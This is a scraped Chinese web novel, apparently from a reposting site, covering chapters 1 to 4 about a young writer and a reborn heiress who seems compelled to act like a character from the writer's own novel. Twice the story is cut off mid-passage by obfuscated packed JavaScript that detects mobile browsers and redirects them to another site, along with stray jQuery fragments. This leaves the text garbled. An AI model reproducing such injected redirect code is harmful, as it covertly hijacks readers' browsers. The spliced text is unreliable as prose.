《被清冷大小姐撩拨后》 1. 第 1 章 晏城的六月已进入夏季,刚刚下过一场夏雨。 炎热的空气被暴雨净化了一些,呼吸间炙热的黏腻感也跟随着淡化。 徐助理走进阮家的别墅,友好地与别墅的老管家打了招呼。 “她收拾好了吗?” 老管家笑着回应:“阮小姐已经弄完等好一会了。” 徐助理点点头走进屋子里。 进屋子到了会客厅,一眼便望见不远处端坐着的人影。 “阮笙。”她出声喊了一句。 被唤作阮笙的人这时下意识闻声转头,与徐助理的目光撞上。 “徐阿姨。”阮笙站起身,扬起脸庞笑着回应。 她身着一袭浅绿白长裙,银色的流苏勾在她腰间,随着她起身的动作仿若花鸟翩然起舞。 她在南方的一个小乡村长大,有着南方女孩的温润,清透的目光纯净又安宁,绸缎般健康的乌黑长发没有做过多的造型,只是随意地披散下。 徐助理眼前一亮,夸赞道:“好看。” 徐助理夸完又想起一周前见到阮笙的情景。 徐助理是阮氏集团董事长阮白的特助,阮白突然想起自己还有个女儿在乡下,让人一查,女儿读大四了,没去实习,跑回了长大的乡村里。 既然快毕业了,阮白便让人把阮笙接回来,收拾一下进公司历练历练。 人就是徐助理去接的,她还记得当时见到阮笙的模样。 阮笙很好认,她与阮白很像,母女俩跟一个模子刻出来的一样,五官相似得随便一个人都能认出她们的关系。 可阮笙又与阮白给人的感觉完全不同,阮白是生意人,凌厉,圆滑,成熟。 阮笙才二十出头,还没大学毕业,自然没有那些气势,只是徐助理读书时就认识阮白,青涩的阮白也是张扬至极,与阮笙也完全不同。 见到阮笙时,对方抱着一本书,穿着素雅,浑身一股书卷气。 她腕间戴着一串佛珠,整个人宁静得如山林中的修道士。 徐助理理解不了二十来岁的小女孩怎么会有这样沉寂的气质,但随着阮笙清透干净的目光望进她眼里,似乎又觉着合理。 而眼前的阮笙,穿上了名贵的衣服,被打扮得光鲜亮丽,唯有腕间没有脱下的古朴佛珠还残留着那一点沉寂。 “走吧,你今天作为阮白的女伴一起参加容家的宴会,明白吗?”徐助理招招手,冲阮笙边走边说。 又嘱咐一些注意事项,很快将阮笙送到了会场。 阮白就在门口等待,阮笙看见了她,与徐助理道别后走过去。 “妈妈。” 这是阮笙第二次见到阮白。 从出生开始她就跟着奶奶生活,阮奶奶说自己的生母简玉暖是生病走的,母亲阮白在城里工作太忙,无法照顾她。 阮笙小时候还信,可有哪个母亲会十几年从来都不见自己的女儿呢? 阮笙一直以为自己的两个妈妈都死了,奶奶说的那些话只是想安慰她。 直到她在奶奶临终前第一次见到阮白。 阮笙敏感地察觉到母亲对她的不喜,但血脉相连的天性,让她下意识地忽略着那些。她渴望母亲爱她,为母爱带上了天然的滤镜。 譬如此刻,阮白看她的目光并不温柔,甚至有丝冷意,她的心中还是因为终于见到母亲而兴奋与渴望。 她与母亲如此相似,两人这般相似的容貌会不会让母亲对她多一分疼爱。 她如所有的孩童一样,都幻想着母亲的爱。 阮白面无表情,但还是伸手牵住了她,带她进入宴会厅。 阮白也并不怎么跟她说话,进会场后阮白更是忙于各种应酬,带着她在无数陌生的面孔前假笑。 阮笙并不适应这里的气氛,面对会场里这些艳丽却并不真实的人们,做不到像身旁母亲那样游刃有余。 “我想去趟洗手间。”阮笙说这话时看向阮白,后者微微低眸扫过她一眼,眸光里皆是冷意。 阮笙有些透不过气来,逃进洗手间后整个人才敢放松一些。 出来后也没有直接回到宴会厅,而是绕了路,躲在一处无人的露天台上。 只是阮笙实在没想到这里还会上来人,她叹口气正要离开,却忽然听见一个熟悉的名字,使得她停下了离开的脚步。 “江晚榆,奶奶为什么突然住院?她现在在哪家医院?” 阮笙是因为“江晚榆”而停下的脚步。 她并非认识“江晚榆”,只是因为她最近正在连载的小说里有个炮灰大小姐也叫这名字。 “你是不是想把奶奶逼死,这样就没人能动你的位置?” “你的心被狗吃了吗?奶奶哪里对不起你过?!” “你妈妈杀了亲近的人,现在你也要做这种丧尽天良的事是吗?!” 阮笙听闻这内容震惊地朝声源看去,只见不远处站着两个女人。 说话的人背对着阮笙,看不见相貌。 而那被唤作江晚榆的女人,优雅矜贵,周身禁欲清冷,眉眼间似含着霜雪,一眼看上去便似天上月一般的人物。 看外表倒完全不像那番话里所描述的那样。 阮笙的方向正正好会被对方看见,江晚榆似有所察,眼眸一抬便对上了阮笙惊艳的目光。 完了。 阮笙心头顿时慌张。 阮笙看得出那两人非富即贵,她们不会以为自己是故意躲在这偷听的吧?! 阮笙已经在对方眼前暴露无遗,自然不可能躲过去,讪笑着出声:“你们好。” 江晚榆没有接话,倒是另一个人猛然转过身来,阴沉地打量起阮笙。 阮笙这才看清对方的相貌。齐肩的黑发,眼神阴鸷冰冷,五官虽然精致,但肤色异常的苍白,没有一丝血色,像是患了什么大病。 她压迫而来目光阴沉沉的,让人十分不舒服。 “阮白是你什么人?”那人打量了一会,冷冷地开口问。 “是我的母亲。”阮笙与阮白长得很像,教人一眼就能看出两人的联系,阮笙没有什么可隐瞒的。 只是她不知道眼前的这两人究竟是谁,会不会给母亲带去麻烦。 书上不是都写嘛,豪门秘事,那些有钱人的手段可都阴险极了。 她有些不安地抚摸上腕上的佛珠,这是奶奶为她求来的护身佛珠,一直跟着她长大,像是奶奶在守护着她。 她对这里的一切都不适应,对眼前那两个女人探究,甚至带着压迫的目光更加不适。 “你先离开吧,我会处理。”而这时那个叫江晚榆的女人,倏然开了口。 她这话不是对阮笙说的,是对身前的人说,语调强势,不容对方拒绝。 阮笙动了动耳朵,觉得这人不仅长得好看,声音也好听,清清冷冷的,像是裹了一层薄冰,很符合她的气质。 而另一个女人虽然看着眼神很凶,但江晚榆说话后她的气质便瞬间被压制住。 阮笙偷偷地观察着两人,眨了眨眼快速对两人的地位有了一个大概的认知。 果然那个肤色惨白、眼神很凶的女人满脸不服,却最终没有出声反驳,照着江晚榆的话先离开了。 阮笙又眨了眨眼,才反应过来对方可还要处理她呢。 “我是江家的长女,江晚榆。”她目光停在阮笙身上,细细端详着,说出自己的身份,是因为晏城上流圈子里没有人不认识她。 是在提醒阮笙,不要借着方才所看到的事借题发挥。 可阮笙真的不认识她,茫然地抬头,以为对方自我介绍呢,于是也轻声回应了自己的名字:“额,我叫阮笙。” 话刚说出口阮笙又忽然顿住,敏锐地察觉到对方语气中的一点威胁,顿时心口一沉。 她快速地朝江晚榆扫了一眼,后者那张冷然的脸上看不见多余的神情。 只是江晚榆的眼眸一直注视着她,那双眼睛如同幽深的潭水,又好似审视的戒尺,使得阮笙不由自主地被吸引,也无处遁逃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473090|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她忽然心慌,猛地低下头去,不敢再与之对视。 可就算低下了脑袋,落在她身上的目光也不会消失。 江晚榆看了她许久,记忆里没有搜寻出阮家还有个女儿的信息。 况且阮笙看上去天真至极,江晚榆注意到她不自然地想保持微笑,脸颊上竟露出了两个小小的酒窝。 显得更加稚嫩。 江晚榆一时想她成年了没有? “嗯,你多大了?”江晚榆轻声问道。 她的声音明明很轻,却震得阮笙心颤。 “21.”阮笙闷声回答。 她实在受不了这样的气氛,回答完便抿紧了唇猛地抬起头:“姐姐,我什么都不会往外说。” 她目光清澈真诚,直直地与江晚榆对视,想要对方相信她。 江晚榆听闻一顿,稍稍垂下眼帘,仔细看清了阮笙的神情,完全没有半分虚假的坦然。 江晚榆沉吟片刻,神情放松几分,随后说:“小朋友,别紧张。因为这是我家中的事,不想传出去被人看了笑话,谢谢你能够理解。” 阮笙感受到对方的气势减弱,这才放松一些,赶紧点头再次保证自己绝对不会外传。 随后找了个借口离开,不敢再看江晚榆。 江晚榆注视着阮笙离去的身影消失,眼中的温和慢慢淡去,又恢复了最开始阮笙瞥见的那般冷然。 她并不完全相信阮笙,于是打电话给助理交代了方才发生的事。 “查一查阮家的女儿,确保她不会多嘴。” …… 阮笙一直回到家后脑子里都还是江晚榆的样子。 她有些怕那人,感觉到对方的危险;又有些好奇,因为江晚榆有着与自己小说女配一样的名字。 不过她写的小说里的江晚榆是个十足的恋爱脑,为了一个并不爱她的女人要死要活,只要对方出现,就像被控制了脑子一样只剩下爱情。 阮笙当然是故意这样写的,她从高中毕业开始就在写文,写了不少,也有一些名气。 大部分都是正剧向,这次就想写一篇豪门狗血文。 洗漱完后阮笙打开了笔记本电脑,说来也巧,她这会正好写到“江晚榆”的内容,一时又想起在宴会场见到的那个真实存在的江晚榆。 若是这个江晚榆跟她小说里的人一个性格…… 用那张清冷的脸,幽深的眸子,张嘴说出“宝宝我好爱你哦,宝宝是全世界最好的宝。” 阮笙咧嘴笑,光是想想都让她起了一身鸡皮疙瘩。 摇摇头,赶紧把这种想法抛掉,开始写今日的章节。 【江晚榆惯例给闻姝静打去电话,电话等了好久才被接通,电话那端响着嘈杂的音乐,她知道闻姝静又去酒吧玩了。】 【她不喜欢闻姝静总是去酒吧玩,但闻姝静从不听她的,更因为她提过几次而厌恶她的唠叨。所以江晚榆不敢再说,只能小心翼翼地询问闻姝静是否需要她去接人。】 【“好啊,你来吧,正好陪我喝酒。”闻姝静满不在乎地回答她。】 【江晚榆立即应下,只要能见到闻姝静,她心中便欢喜不已。】 阮笙不停地敲着键盘,写这样无脑的东西对她来说就是放松。 全然不知晏城江家老宅里,真实存在的江晚榆此刻同样打着电话,问着电话另一端同样叫作闻姝静的人同样的问题。 “你要我去酒吧接你吗?” 而闻姝静也满不在乎地回答了她:“好啊,你来吧,正好陪我喝酒。” 江晚榆紧紧抓着手机,她明日要上班,现在只想好好休息,更不喜欢酒吧。 可此时她无法控制自己的身体,无法左右自己的行为。 “好啊,你等我。”她回答得愉悦轻快,说完便起身出门,好像迫不及待。 但她眼里的情绪冰冷又厌恶,所有的情感都在拼命地抗拒,可这具躯体只要涉及到闻姝静的事就不再受她控制。 她根本无力反抗。 2. 第 2 章 阮笙在家中住了一段时间,却很少能见到阮白,大多时候都是徐助理来与她沟通。 因为阮笙大学时学的汉语言文学专业,没有任何管理行业的经验,于是徐助理为她安排了相关的课程。 并告知她阮白的意思是要她先去基层历练历练。 所以她如今是一边学习,一边进公司上班历练。 不过就算她不主动表明身份,顶着那张与阮白极为相似的脸,公司同事也没法不猜测她的身份。 何况阮白在晏城算得上名人,白手起家,家世清白,除了一个早死的妻子,已经再无其她亲人。 突然蹦出一个阮笙,办公室都猜她是不是阮白的私生女。不过阮笙很低调,忙于学习,根本无法注意到这些。 阮笙更失望于明明已经来到母亲身边,却依旧见不到对方。 偶尔跟徐助理问起时,对方也是闪烁其词,并不透露阮白的行程。 一直到阮笙回学校毕业这天。她本就在晏城上的大学,对晏城其实不算陌生,只是大一时因为奶奶去世而休学一年,再回来便一直闷头学习,大学生活算不上多美好。 好在她交了两个朋友,认识了一位很好的老师。 循着记忆走进学校的大礼堂,她来得挺早,徐助理今日专门来送她,还提起阮白今天应该会早些回家。 阮笙自然联想到是母亲为庆祝她毕业而做出的行程安排,这段时日的忧伤瞬间一扫而空。 大礼堂里还没什么人,阮笙扫视一圈,见礼堂台阶下只有两人,正想找位置先坐下,不料那两人听到动静,转头来瞧见了阮笙。 阮笙也正好定睛一看,阮笙竟都认识。 其中一人戴着银边眼镜,棕黄短发,穿着黑白正式职业装的中年女人。对方也认出了阮笙,立即笑着挥手。 那就是阮笙的专业老师,冯玟。 见到冯老师阮笙有点心虚,但已经避无可避,只能迎上去。 “冯老师。”阮笙恭敬地喊道,喊完这声后也不敢多说话。 她心虚是有原因的,冯老师一直很看重她,大三时无数次推荐她去研究所,提醒她要深入学业,对她很是帮助。 但她直接跑回乡下,如今回来又跑去公司做小职员,她的实习证明那明晃晃印着阮家公司的印章,写着她在公司里职位。 冯老师必然早已看过。 可冯老师没有问起她工作的事,只是随意地关心了她几句。 随后招手要她过去。 “这是你学姐,虽然跟你不同专业,不过在学校出名得很,这届回来给你们颁奖,校方邀请她好多次,你们这届有福了。”冯老师先前正跟身旁的人交谈着,见到阮笙才打断与对方说话。 阮笙其实在汉语言文学专业也挺有名的,她是以文科状元的身份考进来的,一直是专业第一,哪怕休学一年回来,也修满了学分,以第一名的成绩跟同届的人毕业。 她只是自身低调,在外的名声却一点也不低调。 她是冯老师的得意门生,冯老师拉着她就对身旁的女人给阮笙一顿夸。 阮笙心虚还有一层原因,因为冯老师身旁这女人她不久前才见过。 “这是江晚榆。”冯老师介绍说。 江晚榆很擅长这种社交,听到冯老师的声音自然地转过身来。 她眉目清冷淡雅,但又很微妙的不至于让人觉得她过于凉薄。 保持着一种似近似远的距离感,以为她冷然生人勿近,却又一直在关注着你,对你句句有所回应。 可她的眼眸在冯老师介绍之前就滑到了阮笙身上,在看清阮笙的相貌后目光一瞬变得幽深。 阮笙见过江晚榆这样的眼神,呼吸骤然停住。她也没想到会再次见到江晚榆,被那双深邃幽冷的目光注视,全身都无法放松下来。 可江晚榆只是这样看了她一眼,很快隐去眼中的情绪,等到冯老师介绍时,还装作完全不认识阮笙的样子,友好地与阮笙交谈。 阮笙有些怕她,但对她又充满了好奇。因为江晚榆的名字,又因为两次遇到江晚榆的经历都这样奇特。 江晚榆竟然是她的学姐。 上回见到江晚榆时她就注意到对方的穿着,精致的冷淡风,衣着保守讲究,哪怕是参加着宴会,也很有禁欲感。 今日或许是场合更加严肃,江晚榆穿着更是保守,白皙的肌肤全都被隐藏在衣物下,让她看上去一丝不苟,又清冷又禁欲。 可她又过分好看。阮笙读过很多书,书中所描绘的十二月时节,梅花盛开,雪中有佳人驻足,眉眼娟秀,人比雪景还要美丽。 好像就在阮笙面前具象化了。 她盯着江晚榆看了许久,连冯老师尴尬的轻声喊她都没听见,直到冯老师看她如此木讷,无语的撞了撞她,才让她回过神来。 阮笙看清眼前的情况,脸蛋肉眼可见的泛红,猛地低下头去。可转念一想,爱美之心人皆有之,她只是看了看,又不是做了多无礼的事。 书中都说,窈窕淑女,女子好求。 那她也不用感到羞耻。 所以阮笙又一下抬起头来,这正巧又望进了面前江晚榆眼里。 对方的眼睛像是藏着千万种思绪,阮笙本能的好奇,又本能的怯弱。 可她是执拗之人,朋友与奶奶以前都说她有些轴,此刻她不想承认自己的怯弱,干脆红着脸,又胆大无畏地对着江晚榆微笑。 与两人第一次相遇的情况不同,那时她身处在自己完全不熟悉的环境,宴会上的人她也全然不知,害怕为母亲带去一点麻烦,所以小心谨慎。 可如今江晚榆是她的学姐,学校是她所熟悉的地方。 “学姐好。”阮笙也丝毫不掩饰自己眼中对江晚榆的欣赏,纯粹真诚,毫不躲闪。 人天生就会对漂亮的东西和人产生好感,她对江晚榆又好奇极了,自然不想扭扭捏捏地假装掩盖。 大胆又青涩地表达出来,反而不会让人厌恶。 何况冯老师还在这呢,江晚榆应该不会对她发火吧…… “你好。”江晚榆稍稍昂首,瞥见阮笙笑起来脸颊上的两个酒窝,方才眼中深沉的探究眨眼间便消散。 人对可爱的东西与人也天生有着更高的包容心。 不过这也是基于阮笙实诚,那日在露天台上的事她确实没对外透露任何。 打过招呼,加上冯老师带话题,三人倒是聊得很顺畅,等到毕业生陆陆续续到来,冯老师与江晚榆还要准备等会的致辞,三人也不方便再继续说下去。 阮笙与两人告别,找到自己的座位,等待着毕业仪式开始。 江晚榆出场致辞时引起了不小的骚动,阮笙大学时太忙,实在没精力了解八卦,不认识学校这位毕业多年的风云人物,这时才好奇地问起一旁兴奋不已的同学。 “你居然不知道江学姐?!她可是晏城江家的大小姐。” 阮笙之前不是很清楚晏城江家是什么地位,这段时间在公司上班后倒有了些耳闻。只是不熟悉江晚榆在学校的事迹,于是点点头示意对方继续说。 同学沉浸于对江晚榆的憧憬里,没注意到阮笙的神情,只是接着说:“江学姐那一届好多富家大小姐跟着来报考我们学校,据说都是追着江学姐来的。” “一个个在学校花枝招展,每天都有人想尽办法吸引江学姐的注意。” “不过最出名的还是闻大小姐。” 同学讲到这里,阮笙还有些无语,她还以为同学要说江学姐如何如何优秀呢,原来是都是八卦啊! 果然只有八卦才会一直流传。 同学不知道阮笙心里怎么想的,只凑近阮笙一些:“闻姝静知道吗?当时也好多人喜欢,学校的论坛上还有她的照片呢,比明星还漂亮。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【闻姝静一头张扬的茶红色长卷发,衬得肌肤白皙如雪色,一双明眸仿若琉璃宝珠,唇色艳似朱砂,浑然天成的灵动与妩媚。】 不远处站在江晚榆身边的女人,也有着一头茶红色的长卷发,与阮笙书中描述的外貌几乎完全一样。 好似那书中的人,活生生地站在了阮笙面前。 “姝静,你别生气,我不该不接你电话,你罚我好不好,是我错了。”江晚榆拉着闻姝静一直在道歉,低着头,语气软得不像话,哪有一点前两回阮笙见到的冷情模样。 阮笙一时都看愣了,不知该感叹怎么会有这么像自己写的小说角色的人,还是该感慨矜贵优雅的江晚榆竟然还有这样一面。 她看得都挪不动步子,原来八卦都是真的,江学姐或许只是表面冷淡,私下其实是个恋爱脑? 那不是跟自己小说里一模一样? 阮笙一边觉得怪异一边思考自己是退还是假装若无其事地往前走。 可她这么大个人,路上也没什么遮挡物,很快就被那两人发现。 闻姝静只扫过她一眼,满眼不在乎。倒是江晚榆看见她后明显一愣,深邃的目光又与她相交上。 阮笙尴尬至极,第一时间就想要避开,可江晚榆的目光纠缠而来,阮笙被那双眼睛锁住。以往两次她都看不懂江晚榆眼中的情绪,只是本能地被吸引着。 这一次她却忽然莫名地懂得了一些。 江晚榆的眼里这一刻仿佛溢出了难以想象的强烈情绪。 阮笙瞬间被她勾住,吸引住,再也移不开目光。 这一刻阮笙猛然承受痛苦,心脏被紧紧揪住。 是江晚榆的痛苦,她好像在绝望地拼命嘶吼着,她好痛苦。 好痛苦。 好痛苦。 3. 第 3 章 阮笙被江晚榆那样强烈的情绪冲击,一时愣在原地,可她抬眼仔细去看,江晚榆的神情却哪有半分痛苦。 可阮笙分明清楚地感受到那强烈的情绪,全身心在那一瞬都被江晚榆的痛苦淹没。 江晚榆明明什么声音都没有发出,却让阮笙仿佛听见了杜鹃啼血猿哀鸣般凄厉绝望的喊叫。 阮笙怔怔地凝视住江晚榆,这时江晚榆已经不再看她。 对方只是转头来瞧过她一眼,随后又瞧着闻姝静去。更是丝毫不在意阮笙在场,软着声音继续央求闻姝静原谅她。 闻姝静明显对她爱答不理她也全然不见,卑微到了尘埃的做派,让阮笙震惊又觉得怪异。 阮笙并非震惊江晚榆对待女朋友是这么卑微的态度,阮笙虽然没谈过恋爱,但书中所描绘的情情爱爱也与现实差不了多少。 最多是更加风花雪月,更加惊天动地。 但本质都是一样的,江晚榆对女朋友是个什么样子阮笙并不关心,阮笙只是十分肯定,方才江晚榆那绝望痛苦的情绪她真切地感受到,没有丝毫虚假。 那不是她的错觉。 所以她不能理解,那一瞬痛苦万分的人,下一秒又怎么完全变了所有的情感? 又为什么突然流露出来被她看见,为什么让她知道? 可阮笙又不能上去直接问,难道抓着人说:江学姐你怎么好像很痛苦的样子啊?为什么啊,能不能告诉我呀? 阮笙怕江晚榆直接给她一巴掌。 问不了,人家也不可能说,甚至都不想搭理她。阮笙只得尴尬地笑笑,收拾好心情,就当什么都没发生过,准备从一旁路过。 人家情侣的事,再怎么怪也不关她的事。 阮笙边走边偷偷看,虽然有点不礼貌,可这两位都是学校的风云人物,随便换成其她人也会看,阮笙偷看得心安理得。 但看八卦看到自己身上就不对劲了。 她尽量避着江晚榆两人走的,只是这条路本就是小道,平时没什么人来,只有这么点宽,小心避着也就两三步的距离。 阮笙走到那两人身边时还很尴尬地笑了笑,步子加快,想着快点走过去,却不想忽然被拦下来。 是江晚榆抓住了她。 她被吓了一跳,不明白江晚榆忽然抓住她做什么,对方不是在跟女朋友道歉吗? 拉她干嘛? 她又不能帮着道歉。 不止阮笙不明白,闻姝静也不明白,甚至江晚榆自己都不明白。 江晚榆紧紧地抓住阮笙,对上阮笙惊讶的目光。 她比阮笙还要疑惑震惊。下意识地看了眼同样疑惑的闻姝静,又回头来打量向阮笙。 在阮笙的眼中,江晚榆的情绪再度发生了巨大的变化,明明前一秒对方还对着闻姝静满是爱意。 下一秒在抓住她时整个人的情绪跟直接切断了一样,突兀地变得茫然与无措。 阮笙又一次毫无防备地被江晚榆巨大的情绪波动冲刷着,江晚榆此时毫无遮掩,迷茫,震惊,最后是欣喜。 阮笙全部都真切地体会到。 她不明白自己为什么能感受到如此清晰,更不明白江晚榆这一刻的感情究竟从何而来。 她忽然也没那么想明白。 她跟江晚榆不熟,她只是一个过路人。 阮笙虽然对江晚榆很好奇,甚至有点吃对方的颜,但终究也只是站在一个陌生人欣赏的角度。 连追星都算不上呢。 此刻江晚榆当着自己女朋友的面死死拉住另一个人的手腕,怎么看怎么都不对劲。 阮笙不要被卷进她们的豪门秘事中,立即挣扎起来。 她已经用了很大的力气,可抓住她的人更加用力,感受到她的挣扎时还愈发加重力量,捏得阮笙吃痛。 阮笙已经有些恼怒,更加费力地挣扎,但不知江晚榆是用了多大的力,费了多大的心,一定要抓住她,无论阮笙如何始终没有放开。 阮笙皱着眉,两人互相使劲,疼痛的感觉已经到了她有些无法忍受的地步,已经完全感受到江晚榆绝不会松手的决心。 “疼。”阮笙疼得抽气,她真怕江晚榆当场给她手腕掰断了,最终还是停止了挣扎。 而她喊出的声音似乎拉回了江晚榆一点理智,转眸盯着阮笙的脸,慢慢放轻一点力道。 “跟我走。”她放松力道的同时拉着阮笙就走,完全不理会被晾在一旁的闻姝静。 “江晚榆?你什么意思?”闻姝静也是一头雾水,但她明显没想到江晚榆会拉着别人直接把她丢下,这是从两人认识开始从未发生过的事。 “你敢走?!”闻姝静见江晚榆拉着阮笙头也不回,当场就破防了,对着江晚榆大声呵斥。 可江晚榆走得很快,没有一点因为闻姝静斥责而停下来的意思,连回头都没有。 阮笙有一刻觉得她像是在逃避什么洪荒野兽。 要说阮笙绝对是最郁闷的那个人,她什么都不知道呢,就这样莫名其妙地被江晚榆拉着带出了学校,两人一直走到学校校门外江晚榆才终于停下。 捏住她手腕的力量已经慢慢放轻很多,阮笙再度挣了挣,这回终于挣脱开。 “你是不是该解释一下?”阮笙挣脱后立马就退后三步,赶紧跟江晚榆拉开距离。 她手腕疼得厉害,举起来一看,被抓过的地方泛起一大片青紫色,看那痕迹估计是伤到了,可想而知江晚榆先前用了多大的力气。 阮笙见自己手腕这情况,心中更加愤怒。 她觉得江晚榆是跟女朋友吵架,然后顺道拉了她做幌子,来跟闻姝静置气。 虽然中间有阮笙解释不清的那些江晚榆不合理的情绪,但先前的情景,怎么看都是她想得这样。 她路过看个八卦,卷入人家情侣吵架,把自己给弄伤了,她真倒霉。 不,应该是晦气。 江晚榆晦气! 阮笙恶狠狠地想。 而一直处于兴奋状态的江晚榆听到阮笙的声音也终于回过神来,朝阮笙瞧去,自然也瞧见后者手腕上触目惊心的伤痕。 “你,抱歉,我送你去医院。”她顿了顿,神情已经淡定许多,这时既没有面对闻姝静时的卑微,也没有刚刚拉住阮笙时的震惊茫然,更像是阮笙之前几次见她时那般冷淡的状态。 身姿站得笔直,举止优雅,看向阮笙时下意识的稍稍侧目,不逼迫性的直视她人,举手投足间都让人感受到她的教养与礼貌。 阮笙前两次都以为江晚榆是这样的人,所以萌生出一点欣赏与羡慕。 可刚刚才被江晚榆粗暴地弄伤,阮笙只觉得江晚榆讨人厌至极。 所以江晚榆的道歉毫无效果,阮笙也立即意识到对方半点解释都无,更加深了江晚榆因为跟闻姝静吵架而莫名将她卷进来的猜想。 “不用了,我可无福消受。”阮笙外表长得清丽秀气,身上还有一股书卷气,乍看下都觉得她文静乖巧。 可她从来都不是好脾气任人欺负的主。 “大小姐能同我说说话牵牵手是我几辈子修来的福气,我哪能让大小姐道歉?”她阴阳怪气得不行,任谁听去都能感受到。 江晚榆本来虽对阮笙说抱歉,但还沉浸在自己的情绪里,现在被阮笙阴阳一番话,注意力终于被阮笙扯过去。 她知道阮笙是受了无妄之灾,看向阮笙的眼睛,后者干净得过分,像是被山间泉水洗刷过的清透,哪怕说着嘲讽的话,眼里也没有一丝恶意。 江晚榆阖了眼,此时才彻底冷静起来,心也跟着软了一分,可她没法与阮笙解释缘由,除了道歉更没有别的办法。 于是她卸下自己的矜持,稍稍低下头,再度对阮笙道歉:“对不起,让助理送你去医院吧。” 她说不出多余的话,知晓阮笙现在应该不怎么喜欢她,于是提出让助理送去医院的建议。 江晚榆说完还觉得欠妥,于是又补上一句询问:“你觉得可以吗?” 可江晚榆这样的道歉并没有让阮笙消气。其实阮笙最开始以为江晚榆是那种虽然高傲但很有教养的大小姐,刚刚被粗暴对待后又觉得江晚榆跟电视、小说里的那种仗势欺人的富二代没什么两样。 可刚这样认定完,对方又倏然软下来认错道歉。 阮笙如今晓得晏城江家大小姐是什么地位,别说捏伤了她,现在就算打她一顿,估计最后也拿江晚榆毫无办法。 可上位者道了歉她就必须感恩戴谢的原谅吗? 阮笙惊讶于江晚榆一秒一个样,莫名其妙的做派,看不懂对方的动机与行为。 但全然不影响她此刻对江晚榆已毫无好感。 不管江晚榆道歉的态度如何,阮笙确实受到了伤害。 “不用了,江大小姐。”阮笙仰起头,目光无惧。 手腕上的疼没有消去,心中的怨便无法退散。 她做不到心中有怨还以礼相待,肚子里早就翻涌起古今中外几吨重的墨水要来骂人了,没说出口是她忍耐力十足。 她文明有教养。 江晚榆是聪明人,听阮笙的语气,瞧见阮笙的神色就知晓对方心中的怨气。 除了闻姝静也许久没有人同她这样讲话,大抵是被闻姝静折磨的,又或是眼前的阮笙嘲讽人时的模样比之前更灵动可爱,加上江晚榆本就理亏,让她完全生不起气来。 不过阮笙此时对她厌烦得很,既然对方拒绝再与她接触,她也不好再凑上去。 阮笙走后江晚榆才再度思考起自己的事。先前她突然的行为,无法解释的原因,都是因为她是一个死而复生之人。 从前世遇到闻姝静开始,江晚 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前世江晚榆如往年一样拒绝了今日校方的邀请,随后碰巧遇见闻姝静,再陪着闻姝静去参加聚会。 所以这一世她接受了邀请,又因为在台上演讲错过闻姝静的电话。 可江晚榆万万没想到闻姝静竟然也在学校,她一时万念俱灰,只觉自己永远都逃脱不掉。 因为闻姝静生气,她就必须做好那个深爱对方的人设,必须说出那些让她十分恶心的言语。 江晚榆抗拒着,她说着那些黏腻的话语,脸上被控制着挂起讨好的笑,心中却已被无尽的恨意浸透。 她看到了阮笙,甚至有一瞬想要这个无关紧要的过路人,看到她这副可笑模样下狂涌的痛苦,将她从这里拉走。 但江晚榆知道,她连露出痛苦的情绪都是不被允许的,别人根本看不见她的绝望。 她好不甘心,重活一世依旧要经历这些,她真的好不甘心! 她拼命的挣扎,拼命的想让身体听从自己的思想,她的血液在血管里汹涌的翻滚着,她的喉咙里压抑着这么多年来无时无刻绝望的嘶吼。 她的内里早已像一个膨胀到极限的炸弹,随时都在等待着那彻底毁灭的瞬间。 然后,她伸手抓住了阮笙。 明明此刻应该对着闻姝静乞怜,无法关注到其她任何人。 可她竟然打断了必须对闻姝静完成的事,抓住了无关的旁人。 这是江晚榆两世以来从未发生过的事,是她第一次成功地反抗了“闻姝静”。 甚至于闻姝静不满地对她大喊,她竟也可以置之不理。 那一刻江晚榆脑子里一片空白,所有的情绪都在身体里乱窜。 疑惑,欣喜,不知所措。她自己都无法理清自己的情感,自己都不知晓自己此时在做什么。 直到走出校门,直到阮笙对她冷嘲热讽,江晚榆才终于有了一种真实感,也是这时江晚榆才注意到自己伤害到了阮笙。 若没有闻姝静,江晚榆从来都是一个知礼之人,她是真切地对阮笙抱歉,也已经极力地想要安抚阮笙,只是当下发生的事让她混乱不堪,分不出心思再做得更好。 当阮笙离开,江晚榆终于能够开始整理刚刚的一切,思考起自己是如何解开那股力量的束缚之时,闻姝静的电话又突然打来。 江晚榆全身的血液都仿佛在这一刻凝固住,她的手指不受控的缓缓的按上了接通键。 【江晚榆你在耍什么花招?用这种方式来惹我生气吗?】 闻姝静的声音依旧那样乖张,对江晚榆毫不客气,似乎笃定这都是江晚榆为了引起她注意耍的手段。 闻姝静就是这样的人,一切都以自我为中心,认为全世界都会爱着她。 她在喜欢江晚榆时也只是因为江晚榆太过优秀,高高在上,是所有人都得不到的高岭之花。得到之后,江晚榆被控制着对她百般讨好,她便不再喜欢。 只是如今没有比江晚榆身世更好,更衬托她的人,更没有人让她产生兴趣,所以还如今维持着与江晚榆的关系。 【过来接我,别再惹我生气,江晚榆。】高高在上的江家大小姐,无数人心中的白月光江晚榆,只对她言听计从,这是闻姝静如今想要在江晚榆身上享受到的。 江晚榆听到这话,心中拼命地想要拒绝,她以为自己能反抗一次,必定还能反抗第二次。 她在心底挣扎着,要让自己在此刻说出拒绝的话语。 这是江晚榆第一次有了希望,此刻她无比坚信自己能真的脱离那股力量的控制。 “好。小姝,我好爱你。” 可下一刻,江晚榆听到了自己的声音,说出了那么恶心的话。 4. 第 4 章 阮笙最后还是自己去诊所买的药,医生看了不算太严重,没伤到骨头。只是她疼得厉害,手腕上看着吓人,让阮笙更讨厌了江晚榆几分。 不过确实没伤到筋骨,喷完药后痛感也减弱许多。 